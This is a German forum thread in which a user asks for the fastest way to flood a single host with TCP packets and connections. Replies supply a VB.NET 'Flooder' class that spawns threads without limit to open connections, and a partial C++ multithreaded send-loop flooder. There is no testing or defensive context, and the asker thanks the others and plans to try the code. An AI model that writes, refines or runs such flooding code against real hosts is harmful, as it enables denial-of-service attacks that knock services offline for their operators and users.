tcp packet spam | schnellste variante?

11/15/2011 20:54 uragan#1
hallo

ich möchte auf einen host in einer Sekunde soviele Packete verschicken wie es nur möglich ist von meiner Verbindung her.

Deswegen wollte ich hier nachforschen, wie man dies am besten erreichen soll.
Die programmier Sprache ist mir eigentlich egal, ich bin meist schnell im Verstand.

Hatte mal mit Autoit versuch das ganze zu schreiben.
Zuerst einen script mit einer schleife und in der schleife VERBINDUNG aufbau danach sofort packet senden.

Danach versuch zuerst 100 VERBINDUNGEN aufzubauen und erst dann 100 Packete an die geöffneten sockets zu senden, Dies war ein wenig besser und schneller

Doch das ist immer noch zu langsam, es müss eigentlich noch schneller gehen.

Wie sollte ich die Netzwerkkarte einstellen?
Welche einstellungen spiele da eine Rolle?
Wie siehts mit Route einstellen, welche einstellungen sind dort wichtig?

Falls beispiel codes schon habt, dann nur her damit

Vielen Dank
11/15/2011 21:38 .Infinite#2
Sende doch alle Pakete über einen Socket...
11/15/2011 22:46 uragan#3
über ein und den selben socket wird es nicht klappen zu spamen.

den der host nimmt das ganze als ein packet auf nicht als 100

ich muss mehrere verbindungen aufbauen
11/16/2011 22:02 warfley#4
ganz einfach du startest 2-10 threads welche alle in einer endlosschleife neue threads erzeugen, mit einem sock über den 1 packet 1 mal gesendet wird, danach wird der thread beendet

so würde ich es machen
11/17/2011 06:42 .Infinite#5
Ich glaube nicht, dass AutoIt Multithreading unterstützt...
11/17/2011 10:03 warfley#6
Ich denke für sein vorhaben wäre eine .net sprache wie vb gut
11/17/2011 20:52 uragan#7
Quote:
Originally Posted by .Infinite View Post
Ich glaube nicht, dass AutoIt Multithreading unterstützt...
schau mal hier rein
[Only registered and activated users can see links. Click Here To Register...]

@warfley, so ählich habe ich es auch probiert.
habe eine Startanwedung die das programm startet und eine zwei Anwendung die Startparameter, von der ersten Anwendung, braucht

die Startanwedung startet gleichzeitig 10 "Loop" Anwedung, nenn ich jetzt mal. Diese habe bauen 100 verbindungen auf und senden jeweils ein packet.

So ist zur zeit meine schnellste Methode
11/20/2011 15:26 warfley#8
warum verschiedene programme? multithreading tuts doch genauso und du hast mehr kontrolle
11/20/2011 18:52 Tyrar#9
c++ ftw :p

wenns dir vom speed reicht könntest immer reconnecten
11/20/2011 21:07 warfley#10
ich habe dir mal eine kleine klasse in vb.net geschrieben, die deinen bedürfnissen entsprechen könnte

PHP Code:
Class Flooder
    
Private FIPE As IPEndPoint
    
Private Flood As Boolean
    
Public Property Enabled As Boolean
        Get
            
Return Flood
        End Get
        Set
(ByVal value As Boolean)
            
Flood value
        End Set
    End Property
    
Public ReadOnly Property EpEndP As IPEndPoint
        Get
            
Return FIPE
        End Get
    End Property

    
Public ReadOnly Property URL As String
        Get
            
Return FIPE.Address.ToString
        End Get
    End Property
    
Public ReadOnly Property Port As Integer
        Get
            
Return FIPE.Port
        End Get
    End Property

    
Public Sub New(ByVal URL As StringByVal port As IntegerByVal ThreadCount As Integer)
        
Me.New(New IPEndPoint(IPAddress.Parse(URL), port), ThreadCount)
    
End Sub

    
Public Sub New(ByVal IPE As IPEndPointByVal ThreadCount As Integer)
        
Threads = New List(Of Threading.Thread)
        If 
IPE.Equals(NothingThen
            
Exit Sub
        End 
If
        
FIPE IPE
        
For As Integer 0 To ThreadCount
            Dim T 
As New Threading.Thread(AddressOf StartFlooding)
            
T.Start(IPE)
        
Next
    End Sub

    
Private Sub StartFlooding(ByVal IPE As IPEndPoint)
        While 
Flood
            Dim T 
As New Threading.Thread(AddressOf DoFlood)
            
T.Start(IPE)
        
End While
    
End Sub

    
Private Sub DoFlood(ByVal IPE As IPEndPoint)
        
Dim c As New TcpClient
        c
.Connect(IPE)
        
c.Close()
    
End Sub
End 
Class 
11/20/2011 21:19 Tyrar#11
we love c++

aber der code is nur grad eben auf die schnelle hin geklatscht und unvollständig! :D

Code:
const char* asdf="bitchbitchbitchbitchbitchbitchbitchbitchbitchbitch";

DWORD WINAPI DoFlood(LPVOID x)
{
	SOCKET s=socket(AF_INET,SOCK_STREAM,0);
	if(s==INVALID_SOCKET) return 0;
	SOCKADDR_IN addr;
	ZeroMemory(&addr,sizeof(SOCKADDR_IN));
	addr.sin_addr.s_addr=inet_addr("127.0.0.1");
	addr.sin_port=htons(1337);
	addr.sin_family=AF_INET;
	if(connect(s,(sockaddr*)&addr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
		closesocket(s); // überhaupt nötig?
		return 0;
	}
	int r=0;
	while(1)
	{
		r=send(s,asdf,strlen(asdf),0);
		if(r!=strlen(asdf)) {
			closesocket(s);
			return 0;
		}
	}
	return 0; // nur ums schön aussehen zu lassen
}

int main(int argc, char** argv)
{
	WSAData wsa;
	WSAStartup(MAKEWORD(1,2),&wsa);
	for(int i = 0; i < 20; i++) CreateThread(...) // hab grad parameter nich im kopf...
	while(!kbhit()) Sleep(10); // war das ne windoof func?
	WSACleanup();
	return 0;
}
11/20/2011 23:28 warfley#12
ich denke nicht das es schneller sein wird, da du ja in 20 threads zugleich in einer endlos schleife über einen socket sendest, 1. hat der te erwähnt das es so nicht geht, 2. wartet das immer bis das senden vollendet ist bevor das nächste mal gesendet wird.

da ist meins schneller
11/21/2011 11:25 Tyrar#13
Quote:
Originally Posted by warfley View Post
ich denke nicht das es schneller sein wird, da du ja in 20 threads zugleich in einer endlos schleife über einen socket sendest, 1. hat der te erwähnt das es so nicht geht, 2. wartet das immer bis das senden vollendet ist bevor das nächste mal gesendet wird.

da ist meins schneller
könnte man natürlich auch umcoden dass sofort weiter gesendet wird bzw. einen thread erstellen der sendet... wenn man will auch auf dem gleichen socket.. sind nur kleine änderungen!
11/21/2011 17:13 uragan#14
super, danke, ich werd das ganze mal testen, wenn ich zeit finde :)